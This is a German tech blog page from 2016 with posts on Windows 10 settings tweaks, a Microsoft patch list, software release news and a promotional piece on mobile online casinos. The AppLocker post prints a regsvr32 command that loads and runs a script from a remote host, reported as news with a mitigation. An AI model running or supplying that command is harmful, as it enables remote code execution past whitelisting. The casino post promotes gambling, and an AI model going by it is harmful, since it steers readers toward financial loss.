Autor: Tobi

Windows 10: Werbe-Apps im Startmenü entfernen

Windows 10 Logo

Windows 10 zeigt im Startmenü standardmäßig App-Empfehlungen an. Darunter befinden sich beispielsweise Twitter, Flipboard oder Candy Crush Soda. Dabei handelt es sich um Verknüpfungen, die per Klick zu den jeweiligen Apps im Windows Store führen. Mit dem bevorstehenden “Anniversary Update” alias Windows 10 Version 1607, soll die Anzahl der angezeigten “Werbe-Apps” sogar noch erhöht werden. Dieser Tipp zeigt euch, wie ihr die App-Empfehlungen deaktivieren könnt.

Möglichkeit 1: Einstellungen

Zunächst müsst ihr die Einstellungen öffnen und auf  den Punkt “Personalisierung” klicken. Anschließend links im Menü auf “Start” klicken und die Option “Gelegentlich Vorschläge im Menü Start” anzeigen” deaktivieren.

Bereits bestehende App-Empfehlungen im Startmenü müssen ggf. manuell per Rechtsklick entfernt werden.

Möglichkeit 2: Editor für lokale Gruppenrichtlinien

Diese Möglichkeit existiert nur unter Windows 10 Pro oder Enterprise und greift gleichzeitig nur für neu erstellte Benutzer, nachdem die Option gesetzt wurde.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “gpedit.msc” eingeben.
  2. Unter “Computerkonfiguration” zu “Administrative Vorlagen”, “Windows-Komponenten” und “Cloudinhalt” wechseln.
  3. Im rechten Fensterbereich muss die Option “Microsoft-Anwederfeatures deaktivieren” aktiviert werden.
  4. Bei neu erstellten Benutzern erscheinen keine Werbe-Apps mehr.

Möglichkeit 3: Registrierungs-Editor

Die zweite Möglichkeit via Registry funktioniert unter allen Windows 10 Editionen. Die Einstellung greift allerdings ebenfalls nur für neu anzulegende Benutzer.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CloudContent
  3. Wenn der Schlüssel “CloudContent” im linken Verzeichnisbaum nicht vorhanden ist, muss dieser von Hand erstellt werden.
  4. Darunter muss dann ein neuer “DWORD-Wert (32-Bit)” mit dem Namen “DisableWindowsConsumerFeatures” und dem Wert “1” erstellt werden.
  5. Bei neu erstellten Benutzern erscheinen keine Werbe-Apps mehr.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.

Windows 10 Version 1607 aka “Anniversary Update” kommt am 29. Juli 2016

Windows 10 Logo

Der Name “Anniversary Update” hatte es schon vermuten lassen, aber jetzt wurde der Erscheinungstermin von Windows 1607 durch Microsoft-Unterlagen bestätigt. Demnach erscheint das nächste große Windows 10 Update am 29. Juli 2016, also genau ein Jahr nach der Einführung von Windows 10. Das Datum wurde in einer Präsentation der WinHEC-Konferenz erwähnt.

Auf die Neuerungen des “Anniversary Updates” bin ich bereits in einem Artikel eingegangen.

Quelle: WinHEC Slides - Introduction of the New Universal Dev Center for Hardware

Quelle: Microsoft / WinHEC Slides – Introduction of the New Universal Dev Center for Hardware

Kategorien: Windows Windows 10

7-Zip 16.00 behebt kritische Sicherheitslücken

7-Zip Logo

Das beliebte Open-Source-Packprogramm 7-Zip ist vor wenigen Tagen in Version 16.00 erschienen. Einzige große Neuerung ist die Unterstützung von Multi-ZIP-Archiven nach dem Namensschema z01, z02, …, zip. Dennoch sollte das Update schnellstmöglich installiert werden, denn damit werden auch einige Fehler und zwei kritische Sicherheitslücken behoben.

Die Sicherheitslücken wurden von Sicherheitsforschern der Cisco-Tochter Talos entdeckt. Genauere Details wurden in einem Blogartikel veröffentlicht. Beide Lücken sind in der neuen Version 16.00 bereits behoben. Allerdings wird die Open-Source-Bibliothek 7-Zip gerne in anderen Programmen zum Packen und Entpacken von Dateien verwendet. Besonders brisant ist diese Thematik beispielsweise bei Anti-Viren-Software, da diese in der Regel mit Systemrechten arbeitet und der 7-Zip-Schadcode dann ebenfalls mit Systemrechten ausgeführt wird. Bekannte Produkte, die 7-Zip einsetzen, sind unter anderem Malwarebytes Anti-Malware oder die Produkte von FireEye. Darüber hinaus dürften aber noch viele weitere Produkte auf 7-Zip setzen.

Download 7-Zip

Kategorien: Software & Apps Windows

Linux Mint und Ubuntu auf btrfs-Dateisystem installieren

Das btrfs-Dateisystem hat mit fortschreitender Entwicklung immer mehr Popularität erlangt und kommt mittlerweile bereits in vielen Systemen zum Einsatz. Mit DSM 6.0 setzt beispielsweise auch Synology auf das moderne Copy-On-Write-Dateisystem. Kein Wunder, denn der Fokus von btrfs liegt bei einer hohen Fehlertoleranz, guten Reparierbarkeit und leichten Administration. Darüber hinaus bietet btrfs viele Features, wie beispielsweise Subvolumes, Snapshots, inkrementellen Backups, Deduplizierung und die Unterstützung von mehreren Geräten. Weitere Infos zu btrfs und allen Features könnt ihr hier finden.

Nachfolgend möchte ich euch kurz aufzeigen, wie ihr Linux Mint oder Ubuntu auf einem btrfs-Dateisystem installieren könnt.

Installation

Als erstes solltet ihr die aktuelle Version der gewünschten Linux-Distribution herunterladen: Download Linux Mint oder Ubuntu.

Anschließend muss mit der heruntergeladenen ISO-Datei ein bootfähiges Medium erstellt werden. Zur Erstellung eines bootfähigen USB-Sticks empfehle ich das Tool Rufus.

Jetzt könnt ihr eure Live-Distribution starten. Sobald das System gebootet hat solltet ihr sicherstellen, dass die aktuellste Version der “btrfs-tools” installiert ist. Öffnet ein Terminal und gebt folgendes ein:

sudo apt-get install btrfs-tools

Danach könnt ihr den Installer starten. Geht weiter bis ihr den Schritt “Installation type” erreicht. Hier müsst ihr “Something else” auswählen, da btrfs ansonsten nicht zum Einsatz kommt.

Die folgende Partitionierung müsst ihr manuell erstellen, was aber kein Problem darstellt. Das Partitionierungs-Tool zeigt alle vorhanden Festplatten und Partitionen an. In meinem Fall sind es fünf Festplatten ohne Partitionen.

Zuerst solltet ihr eine kleine Partition für den “Mount Point” “/boot” erstellen. 500 MByte ist eine gute Größe dafür. Es ist zwar möglich von einem btrfs-Dateisystem zu booten, allerdings existieren Probleme mit einigen GRUB 2-Funktionen, weshalb ich als Dateisystem “ext4” verwende. Als nächstes wid eine Swap-Partition benötigt, die ich 2000 MByte groß wähle. Die dritte Partition ist die btrfs-Partition. Hier könnt ihr den restlichen vorhandenen Speicherplatz nutzen. Als “Mount Point” bitte “/” verwenden. Der Installer erstellt dann automatisch die bei btrfs zum Einsatz kommenden Subvolumes.

Nachdem ihr alle drei Partitionen angelegt habt, sollten eure Partitionen ähnlich wie bei mir im Screenshot aussehen. Die restlichen Festplatten habe ich in diesem Schritt ignoriert.

Mit Klick auf den Button “Install Now” wird die Linux-Distribution auf die Festplatte installiert.

Kategorien: Linux Tutorials

Gehaltsübersicht Deutschland: Bundesagentur für Arbeit veröffentlicht Entgeltatlas

Logo Bundesagentur für Arbeit

Vor wenigen Tagen hat die Bundesagentur für Arbeit den neuen Entgeltatlas veröffentlicht. Dieser gibt einen guten Überblick über Löhne und Gehälter vieler Berufe in Deutschland.

Nach der Veröffentlichung war der Atlas am Dienstagabend aufgrund des hohen Besucheransturms mehrere Stunden nicht erreichbar. Mittlerweile ist die Webseite wieder verfügbar und gibt Auskunft über die Gehälter von vielen Berufsgruppen. Neben den Durchschnittsgehältern lassen sich die Daten auch nach Bundesländer, Geschlecht oder Alter auswerten. Als Datenbasis dienen alle sozialversicherungspflichtig Vollzeitbeschäftigten im Jahr 2014. Bei speziellen Berufsgruppen kann es daher vorkommen, dass nicht genügend Menschen in diesem Beruf tätig sind und nur Näherungswerte veröffentlicht werden.

Dennoch empfinde ich den Entgeltatlas als eine sinnvolle Sache. Er sorgt für mehr Transparenz im Lohn- und Gehaltsgefüge in Deutschland. Dabei ist deutlich ersichtlich, dass immer noch eine hohe Diskrepanz zwischen dem Osten und dem Westen in Deutschland besteht. Die höchsten Gehälter werden in Bayern und Baden-Württemberg gezahlt. Darüber hinaus dürfte der Entgeltatlas vor allem Berufseinsteigern und Jobsuchenden helfen, um eine ungefähre Orientierung über die Verdienstmöglichkeiten zu erlangen.

Andere kostenlose Angebote sind kaum vorhanden und kommerzielle Angebote setzen oft auf Umfragen oder Auswertungen von Stellenanzeigen. Dieses Vorgehen dürfte aber durchaus Zahlen produzieren, die sich deutlich von der Realität unterscheiden.

Zum Entgeltatlas der Bundesagentur für Arbeit

Kategorien: Internet

Endlich: WLAN-Störerhaftung wird abgeschafft

Nach rund drei Jahren ist es endlich so weit: Die Große Koalition aus Union und SPD hat sich beim Thema WLAN-Störerhaftung geeinigt. Damit müssen Betreiber offener WLANs nicht mehr pauschal für das Surfverhalten der Nutzer haften. Das Gesetzt dürfte wohl noch vor der Sommerpause beschlossen werden, sodass es bereits im Herbst in Kraft treten könnte.

Das Gutachten des Europäischen Gerichtshofs im März und das Machtwort der Bundeskanzlerin zur Störerhaftung hat die Verhandlungen offensichtlich deutlich beschleunigt. Nach mehrmonatigem Hin und Her sind sich die Union und die SPD im Bundestag zur Abschaffung der WLAN-Störerhaftung einig geworden. Demnach soll das sogenannte Providerprivileg zukünftig auch für private und nebengewerbliche Anbieter (wie z.B. Restaurants) gelten. WLANs müssen dann weder mit einem Passwort noch mit einer Vorschaltseite gesichert werden. Die CDU/CSU hat bis zuletzt eine Vorschaltseite (Captive Portal) favorisiert, um insbesondere Urheberrechtsverletzungen einzudämmen. Da dies glücklicherweise jetzt auch vom Tisch ist, werden damit erstmals komplett offene Hotspots möglich.

Betreiber von offenen WLANs können zukünftig weder für ein Fehlverhalten der Nutzer verantwortlich gemacht werden, noch müssen sie die Nutzer identifizieren oder ihr Surfverhalten protokollieren. Der CDU-Politiker Thomas Jarzombek sagte jedoch, dass man durch das Providerprivileg nicht von allem befreit sei. Auf richterliche Anordnung müsse man bestimmte Nutzer sperren, wenn diese beispielsweise Gesetzesverstöße begehen.

Kategorien: Internet

Cortana deaktivieren ab Windows 10 Version 1607

Windows 10 Logo

In meinem Artikel “Windows 10: Cortana deaktivieren, Offline-Suche aktivieren” habe ich bereits beschrieben, wie sich Cortana bis Windows 10 Version 1511 (Build 10586) deaktivieren lässt. Mit dem aufkommenden Anniversary Update funktioniert diese Methode allerdings nicht mehr. Nachfolgend die neuen Möglichkeiten, wie Cortana ab Windows 10 Version 1607 bzw. Build 14328 deaktiviert werden kann.

Möglichkeit 1: Editor für lokale Gruppenrichtlinien

Diese Möglichkeit existiert nur unter Windows 10 Pro oder Enterprise.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “gpedit.msc” eingeben.
  2. Unter “Computerkonfiguration” zu “Administrative Vorlagen”, “Windows-Komponenten” und “Suche” wechseln.
  3. Im rechten Fensterbereich die beiden Optionen “Cortana zulassen” und “Der Suche und Cortana die Nutzung von Positionsdaten erlauben” auf “Deaktiviert” stellen.
  4. Zusätzlich könnt ihr auch die Websuche deaktivieren. Dazu müssen die beiden Optionen “Websuche nicht zulassen” und “Nicht im Web suchen und keine Webergebnisse in der Suche anzeigenaktiviert werden.
  5. Nach einem Neustart der “Explorer.exe” oder des kompletten PCs ist Cortana deaktiviert.

Möglichkeit 2: Registrierungs-Editor

Ab Windows 10 Version 1803 funktioniert die Abschaltung der Websuche nicht mehr so wie hier beschrieben. Weitere Infos findet ihr in meinem Beitrag “Cortana-Websuche deaktivieren ab Windows 10 Version 1803“.

Die zweite Möglichkeit via Registry funktioniert unter allen Windows 10 Editionen.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Windows Search
  3. Wenn der Schlüssel “Windows Search” im linken Verzeichnisbaum nicht vorhanden ist, muss dieser von Hand erstellt werden.
  4. Darunter muss dann ein neuer “DWORD-Wert (32-Bit)” mit dem Namen “AllowCortana” und dem Wert “0” erstellt werden.
  5. Unter Windows 10 x64 muss dieser DWORD-Wert auch noch unter folgendem Pfad angelegt werden:
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows\Windows Search
  6. Falls die Websuche auch deaktiviert werden soll, müssen zusätzlich die DWORD-Werte “AllowSearchToUseLocation” (“0“), “ConnectedSearchUseWeb” (“0“), “DisableWebSearch” (“1“) und “ConnectedSearchPrivacy(3) erstellt werden (siehe Screenshot).
  7. Zur Deaktivierung von Cortana muss die “Explorer.exe” oder der gesamte PC neugestartet werden.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.


Microsoft-Patchday Mai 2016

Microsoft Logo

Heute ist der zweite Dienstag im Monat, was so viel bedeutet, dass heute wieder Microsoft-Patchday ist. Im Mai 2016 stehen insgesamt 16 sicherheitsrelevante Updates zur Installation bereit. Ja, irgendwie scheinen es jeden Monat mehr zu werden ;-) Davon werden acht als „kritisch“ und acht als „wichtig“ eingestuft.

Weitere Details stellt Microsoft wie immer im Security TechCenter zur Verfügung.

Bulletin ID Bulletin Title Maximum Severity Rating and Vulnerability Impact Restart Requirement Affected Software
MS16-051 Cumulative Security Update for Internet Explorer (3155533) Critical
Remote Code Execution
Requires restart Internet Explorer on all supported editions of Microsoft Windows.
MS16-052  Cumulative Security Update for Microsoft Edge (3155538) Critical
Remote Code Execution
Requires restart Microsoft Edge on Windows 10.
MS16-053  Cumulative Security Update for JScript and VBScript (3156764) Critical
Remote Code Execution
May require restart Windows Vista, Windows Server 2008, and Windows Server 2008 R2.
MS16-054  Security Update for Microsoft Office (3155544) Critical
Remote Code Execution
May require restart Microsoft Office 2007, Office 2010, Office 2013, Office 2013 RT, Office 2016, Office for Mac 2011, Office 2016 for Mac, Office Compatibility Pack, Word Viewer, SharePoint Server 2010, and Office Web Apps 2010.
MS16-055  Security Update for Microsoft Graphics Component (3156754) Critical
Remote Code Execution
Requires restart All supported editions of Microsoft Windows.
MS16-056  Security Update for Windows Journal (3156761) Critical
Remote Code Execution
May require restart Windows Vista, Windows 7, Windows 8.1, Windows RT 8.1, and Windows 10.
MS16-057  Security Update for Windows Shell (3156987) Critical
Remote Code Execution
Requires restart Windows 8.1, Windows Server 2012 R2, Windows RT 8.1, and Windows 10.
MS16-058  Security Update for Windows IIS (3141083) Important
Remote Code Execution
Requires restart Windows Vista and Windows Server 2008.
MS16-059  Security Update for Windows Media Center (3150220) Important
Remote Code Execution
May require restart Windows Vista, Windows 7, and Windows 8.1.
MS16-060  Security Update for Windows Kernel (3154846) Important
Elevation of Privilege
Requires restart All supported editions of Microsoft Windows.
MS16-061  Security Update for Microsoft RPC (3155520) Important
Elevation of Privilege
Requires restart All supported editions of Microsoft Windows.
MS16-062  Security Update for Windows Kernel-Mode Drivers (3158222) Important
Elevation of Privilege
Requires restart All supported editions of Microsoft Windows.
MS16-064  Security Update for Adobe Flash Player (3157993) Critical
Remote Code Execution
Requires restart Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1, and Windows 10.
MS16-065  Security Update for .NET Framework (3156757) Important
Information Disclosure
May require restart Microsoft .NET Framework 2.0 Service Pack 2, .NET Framework 3.5, .NET Framework 3.5.1, .NET Framework 4.5.2, .NET Framework 4.6, and .NET Framework 4.6.1 on affected releases of Microsoft Windows.
MS16-066  Security Update for Virtual Secure Mode (3155451) Important
Security Feature Bypass
Requires restart Windows 10 and Windows 10 version 1511.
MS16-067  Security Update for Volume Manager Driver (3155784) Important
Information Disclosure
May require restart Windows 8.1, Windows Server 2012, Windows Server 2012 R2, and Windows RT 8.1.

Kategorien: Windows

“Apps deaktivieren, um die Leistung zu verbessern”-Meldung im Info-Center unter Windows 10 deaktivieren

Windows 10 Logo

Unter Windows 10 wird im Info-Center eine Meldung angezeigt, wenn mindestens drei neue Apps automatisch gestartet und im Hintergrund ausgeführt werden: “Apps deaktivieren, um die Leistung zu verbessern”.

Dieser Hinweis ist für viele Nutzer störend und könnte den ein oder anderen auch verwirren. Glücklicherweise kann er relativ einfach entfernt werden.

Die Meldung wird durch eine geplante Aufgabe angestoßen, die ihr ohne Probleme deaktivieren könnt. Ihr findet die Aufgabe in der Aufgabenplanung unter “Windows”, “Application Experience” und “StartupAppTask”. Dort müsst ihr die Aufgabe deaktivieren. Ab dem nächsten Neustart sollte die nervige Meldung nicht mehr erscheinen.

 

Natürlich kann der Task auch automatisch via Skript deaktiviert werden, beispielsweise via Gruppenrichtlinie oder nach der Installation des Betriebssystems. Dazu wird eine Eingabeaufforderung (“cmd.exe”) mit Administrationsrechten benötigt:

schtasks /Change /TN "\Microsoft\Windows\Application Experience\StartupAppTask" /DISABLE

Bei einigen wenigen Usern soll das Deaktivieren der Aufgabe angeblich keine Abhilfe schaffen. In diesem Fall soll aber die zweite Methode erfolgreich sein. Dazu müsst ihr in der Systemsteuerung den Punkt “Sicherheit und Wartung” öffnen. Mit einem Klick auf “Meldungen zu Start-Apps deaktivieren” könnt ihr die störende Meldung ebenfalls eliminieren. Allerdings funktioniert dieser Tipp erst, sobald die Meldung im Info-Center erschienen ist.

Windows Server 2016 Technical Preview 5 verfügbar

Windows Server 2016 Logo

Microsoft hat eine Testversion von Windows Server 2016 veröffentlicht. Die Technical Preview 5 steht sowohl im MSDN, als auch im TechNet Evaluation Center zum Download bereit.

Die Neuerungen der TP5 hat Microsoft im TechnNet bekannt gegeben. Die frei erhältliche Testversion kann als ISO oder als Nano-Server-VHD heruntergeladen werden. Beide Varianten sind bis zum 31. Dezember 2016 lauffähig. Die finale Version von Windows Server 2016 ist für den Herbst geplant.

Download Windows Server Technical Preview 5

Kategorien: Software & Apps Windows

Neuerungen von Firefox 46

Firefox Logo 23+

Gestern wurde Firefox 46 veröffentlicht. Ursprünglich sollte Version 46 bereits am 19. April erscheinen, wurde von Mozilla dann jedoch um eine Woche verschoben. Grund hierfür waren Probleme mit der Multiprozess-Architektur Electrolysis (e10s), welche nun erst mit Firefox 48 in die finale Version Einzug halten soll. Dadurch sind in Version 46 so gut wie keine nennenswerten Neuerungen enthalten. Firefox 47 ist aber nach wie vor für den 07. Juni 2016 geplant.

  • Flüssigeres Scrollen durch Asynchronous Panning and Zooming (APZ)
  • Erhöhte Sicherheit für JIT-Compiler dank W^X-Protection (Write XOR Execute)
  • Linux-Version unterstützt GTK+ 3.
  • WebRTC-Implementierung ist zuverlässiger und bietet mehr Performance
  • Web-Crypto-API unterstützt HKDF
  • Behebung diverser Sicherheitslücken

Download Firefox 46
Download Firefox 46 (64 Bit)
Portable Firefox 46 @ Horst Scheuer

Thunderbird 45: Neue E-Mail standardmäßig mit Absatz-Formatierung

Mozilla Thunderbird Logo

Am 12. April wurde Mozilla Thunderbird in Version 45 veröffentlicht. Mozilla hat sich Ende 2012 aus der aktiven Weiterentwicklung zurückgezogen und beschränkt sich seitdem nur noch auf Stabilitäts- und Sicherheitsaktualisierungen. Neue Funktionen werden nur noch von freien Entwicklern implementiert. Dennoch bringt Thunderbird 45 einige Neuerungen mit sich, die im Changelog aufgeführt werden.

Unter anderem heißt es da:

Return/Enter in composer will now insert a new paragraph by default (shift-Enter will insert a line break)

Genau diese Änderung hat mich in den letzten Tagen ziemlich genervt. Beim Erstellen eines Zeilenumbruchs mit der Enter-Taste wird automatisch immer eine Leerzeile angefügt. Dies kommt daher, dass die Formatierung ab Thunderbird 45 automatisch auf “Absatz” steht. Für eine neue Zeile muss fortan Shift + Enter gedrückt werden.

Glücklicherweise lässt sich dieses Verhalten aber deaktivieren. Als erstes müsst ihr hierzu im Menü unter “Extras” die “Einstellungen” öffnen. Anschließend auf “Verfassen” und “Allgemein” klicken. Zuletzt muss das Häkchen bei “Eingabetaste erzeugt neuen Absatz, falls Formatierung “Absatz” verwendet wird” entfernt werden (siehe Screenshot).

Fortan werden neue E-Mails standardmäßig wieder mit der Formatierung “Normaler Text” erstellt. Damit verhält sich Thunderbird 45 wieder wie die Versionen davor.

Windows-Schwachstelle erlaubt Umgehung von AppLocker

Microsoft Logo

Das Sicherheitsfeature AppLocker wurde mit Windows 7 eingeführt (nur bei Enterprise bzw. Ultimate vorhanden) und kommt hauptsächlich in Unternehmen zum Einsatz. AppLocker ermöglicht die Steuerung von Anwendungen, App-Paketen, DLLs und Skripten. Damit lassen sich beispielsweise bestimmte Programme auf Black- oder Whitelists setzen. In letzter Zeit wird AppLocker auch häufig gegen Malware und Ransomware eingesetzt, um ungewünschte Aktivitäten auf Systemen zu blockieren. Allerdings wurde jetzt eine Schwachstelle bekannt, wie sich die AppLocker-Ausführungsregeln relativ leicht umgehen lassen.

Der Sicherheitsforscher Casey Smith hat eine Schwachstelle entdeckt, wobei AppLocker mit Hilfe des Befehlszeilenprogramms “Regsvr32” (Microsoft Register Server) ausgehebelt werden kann. Regsvr32 wird üblicherweise zum Registrieren von DLL-Dateien verwendet, was im Normalfall allerdings Administratorrechte erfordert. Jetzt kommt der spannende Punkt: Wenn man dem Register Server eine JavaScript- oder VBScript-Datei übergibt, wird diese ohne weitere Nachfrage ausgeführt. Auch AppLocker greift hierbei nicht und es werden auch keine Administratorrechte angefordert.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Mit dieser Technik lassen sich auch Skripte über HTTP oder HTTPS nachladen, da Regsvr32 auch URLs akzeptiert. Da keine Änderungen an der Registry durchgeführt werden, ist ein Missbrauch auch relativ schwer zu erkennen. Bei Github existiert ein Proof of Concept mit einigen Beispiel-Skripten.

Microsoft wurde bereits über das Problem informiert, hat sich aber noch nicht zu Wort gemeldet. Bis dahin kann “regsvr32.exe” über die Windows Firewall blockiert werden, sodass zumindest eine Ausführung über das Netzwerk verhindert werden kann.

Mobile Casino Spiele – unterwegs spielen und gewinnen

Online Casinos brachten das Spielen um echtes Geld auf die Desktop– und Laptop-Rechner. Bequem kann man nun von Zuhause aus Automatenspiele, Roulette, Black Jack oder Baccarat spielen und mit etwas Glück schöne Gewinne erzielen. Eine echte Alternative zu den landbasierten Spielbanken und -hallen. Einfach so am Wohnzimmertisch einloggen und gleich loslegen, ohne sich eine Krawatte oder ein Jackett anziehen zu müssen.

Die nächste Stufe des bequemen Online Spielens sind die Angebote der Online Casinos, auch unterwegs, auf Reisen oder sogar im Wartezimmer schnell ein paar Euros zu setzen und Spaß zu haben. Sehr viele Casino-Anbieter sind schon auf diesen Zug aufgesprungen, die anderen werden demnächst bestimmt auch folgen. Einige Online Casinos ermöglichen den Zugriff auf die Games über einen Software-Download, bei anderen kann man direkt im Browser spielen. Entweder gibt es eine eigene Software für Windows und Mac OS oder das Spielen erfolgt eben unabhängig vom Betriebssystem im Internet-Browserfenster.

Diese zwei Möglichkeiten hat man im Prinzip auch bei der mobilen Variante. Es gibt mittlerweile eigene Apps für iOS, Android und Windows Phone. Diese stehen kostenlos in den jeweiligen App Stores zum Download bereit. Alternativ kann man aber auch sehr viele Games bereits direkt im mobilen Browser des iPhones, Android- oder Windows-Smartphone bzw. der iPads und Tablets spielen. Sowohl die Apps als auch die mobilen Browserseiten sind komplett auf die Bedienung über Touchscreens ausgerichtet und optimiert.

Man meldet sich mit dem gleichen Account an, den man auch für das Spielen in den Online Casinos benutzt. Es ist sogar möglich, mobil sein Guthaben aufzuladen, wenn man eine Zahlungsmethode nutzt, die das Online Casino dafür freigegeben hat.

Auch die mobilen Spiele gliedern sich in die bekannten Kategorien, die aus landbasierten und Online Casinos bekannt sind: Automatenspiele, die sogenannten “Slots” oder “Slot Machines”. Diese Spielautomaten unterscheiden sich hauptsächlich in der optischen Gestaltung, einige orientieren sich an Hollywood-Blockbustern, andere nehmen Bezug auf beliebte Rockbands oder Themen wie Piraten, Märchen oder Comicfiguren. Dann gibt es noch die Unterscheidung in normale und progressive Slots. “Progressiv” bedeutet, dass man an der Ausschüttung eines Jackpots teilnehmen kann. Diese Automatenspiele kann man in der Regel auch mobil nicht gratis ausprobieren, die “normalen” meistens schon.

Zu den mobilen Tischspielen gehören Roulette, Black Jack, Baccarat und Poker-Varianten wie Texas Hold’Em. Gerade das Roulettespiel macht besonders Spaß, wenn man die Einsätze über die Touchscreen-Bedienung seines Smartphones oder Tablets vornehmen kann.

Diese Tischspiele basieren wie auch die Slots auf einer Software, die per ausgefeiltem Zufallsgenerator den Fall der Kugel steuert und grafisch darstellt. Zusätzlich gibt es endlich auch Live-Spiele in der mobilen Version. Hier betreut ein echter Croupier oder Dealer aus Fleisch und Blut das Spiel, wirft die Roulette-Kugel oder deckt die Karten auf. Die Ergebnisse werden über einen Video-Stream den Spielerinnen und Spieler angezeigt. Die Einsätze erfolgen aber weiterhin über die Software. Nun sollte man aber eine schnelle und leistungsfähige Internet-Verbindung haben, wenn man dem Daten-intensiven Live-Stream auch unterwegs ruckelfrei folgen möchte. Denn nichts ist so ärgerlich, als wenn gerade im entscheidenden Moment der Video-Stream abbricht und man das Spielergebnis nicht mitbekommt. Probieren Sie also lieber die softwarebasierten Tischspiele aus, wenn Sie befürchten, während des Spiels in ein Funkloch zu kommen.

Eine Liste der mobil spielbaren Online Casino Games und aussagekräftige Testberichte über die einzelnen Apps findet Sie zum Beispiel bei Casino.com.de.

Einige Online Casinos zeichnen sich dadurch aus, dass sie zu den oben beschriebenen Spielmöglichkeiten auch noch Sportwetten anbieten. Diese sind dann natürlich auch mobil verfügbar. Da viele Sport-Veranstaltungen und Wettbewerbe auch live zu verfolgen sind, gilt unser Hinweis bezüglich einer vernünftigen Internet-Verbindung selbstverständlich auch für mobile Sportwetten.

Bekannte Hersteller wie NetEnt Spiele versorgen die Fans mobiler Games regelmäßig mit neuen Ideen und bieten sogar die komplette Software an, die im Hintergrund eines Online Casinos dafür sorgt, dass die einzelnen Spielerinnen und Spieler sicher und fair mitmachen können. Hier können Sie auch die beliebtesten Spiele und echte Klassiker direkt und kostenlos ausprobieren. Generell sollten Sie sich mit den Games vertraut machen, auch wenn Sie nur mobil spielen wollen.

Eine gute Strategie ist es, erst die Gratis-Vorschau-Versionen ordentlich zu testen, sich dann zu registrieren und Anmelde-Boni mitzunehmen. Einige Online Casinos bieten sogar spezielle Boni nur für mobile Spielerinnen und Spieler an! Starten Sie dann mit möglichst geringen Einsätzen. Bei den Automatenspielen wählen Sie alle Gewinnlinien, bei Roulette setzen Sie erst einmal nur auf Gerade/Ungerade oder Rot/Schwarz.

Auf diese Weise lässt sich immer professioneller und besser spielen, ohne große Verluste machen zu müssen. Wenn Sie dann Ihr Lieblings-Mobil-Game gefunden haben und sich schon ganz gut auskennen, können Sie anfangen, interessantere Beträge zu setzen. Dann lohnt sich auch der Einsatz bei progressiven Slots oder auf einzelne Zahlen im Roulette-Kessel.

Bedenken Sie aber bitte auch folgendes: Wie in landbasierten oder Online Casinos gilt auch für die Varianten für unterwegs, dass man niemals mehr Geld setzen sollte, als man ohne große Probleme entbehren könnte. Nehmen Sie keine Kredite auf und leihen Sie sich kein Geld, weder von Freunden, Verwandten oder Fremden. Glücksspiel soll Spaß machen und den einen oder anderen Gewinn bescheren. Setzen Sie sich ein klares Limit, wieviel Geld Sie setzen wollen – und ganz wichtig – wieviel Sie auch locker verlieren können.

Spielen Sie bitte auch mobil nur in seriösen und staatlich zugelassenen Casinos. Sie finden die jeweiligen Zertifikate auf der Webseite des jeweiligen Anbieters. Sollten Sie mit Ihrem Smartphone oder Tablet diese Information nicht finden, wechseln Sie einfach auf die Desktop-Ansicht. Dort sehen Sie auch weitere Hinweise zum verantwortungsvollem Spiel, über die Gewinnchancen und die akzeptierten Zahlungsmethoden.

Zusammenfassend kann man sagen, dass die mobilen Möglichkeiten der Online Casino Games auch mobil richtig Spaß machen, seitdem die Hersteller von Smartphones und Tablets diese mit immer besseren Grafik-Chips und höherer Rechnerleistung ausstatten. Spielautomaten und Tischspiele sind mittlerweile perfekt auf die intuitive Touchscreen-Bedienung angepasst. Wichtig sind gerade bei Live-Spielen gute Web-Verbindungen. Verantwortungsvollen Spielerinnen und Spielern steht jetzt auch unterwegs eine eigene Welt spannender und interessanter Games zu Verfügung, die mit ein wenig Glück auch einen warmen Geldregen ermöglichen. Mit einer guten Einsteiger-Strategie macht man auch am Anfang keine unnötigen Fehler und lernt in Ruhe und Schritt für Schritt das mobile Spielen.

Kategorien: Sonstiges

Opera zukünftig mit integriertem VPN

Opera Logo

Mit Opera 15 hat das norwegische Unternehmen Opera  Mitte 2013 einen Neuanfang gewagt. Der proprietäre Browser Opera 12 wurde eingestellt und durch einen neuen, auf Chromium basierenden Browser ersetzt. Mittlerweile ist der Browser bei Version 36 angekommen und hat sich trotz einiger Anfangsprobleme durchaus zum Guten entwickelt. Dennoch fristet er nur noch ein Nischendasein.

In der aktuellen Entwicklerversion 38 hat Opera ein interessantes Feature spendiert bekommen: eine kostenfreie VPN-Lösung ohne Begrenzung beim Datenvolumen. Standardmäßig ist die neue Funktion deaktiviert und muss erst in den Einstellungen unter dem Punkt “Datenschutz & Sicherheit” aktiviert werden.

Opera VPN aktivieren

Der VPN-Dienst wird von der Opera-Tochter SurfEasy bereitgestellt, welche bisher nur eine kostenpflichtige VPN-Lösung anbietet. Die in Opera eingebaute VPN-Lösung ist dagegen völlig kostenfrei und auch ohne Anmeldung nutzbar.

Nach dem aktivieren der VPN-Funktion lässt sich die Nutzung über einen Klick in die Adressleiste steuern. Von dort kann das VPN jederzeit ein- und ausgeschaltet werden. Darüber hinaus lassen sich hier auch das verbrauchte Datenvolumen einsehen und der virtuelle Standort festlegen. Aktuell werden Deutschland, Kanada und die USA angeboten. Opera verspricht in Zukunft weitere Standorte zu ergänzen.

Opera VPN

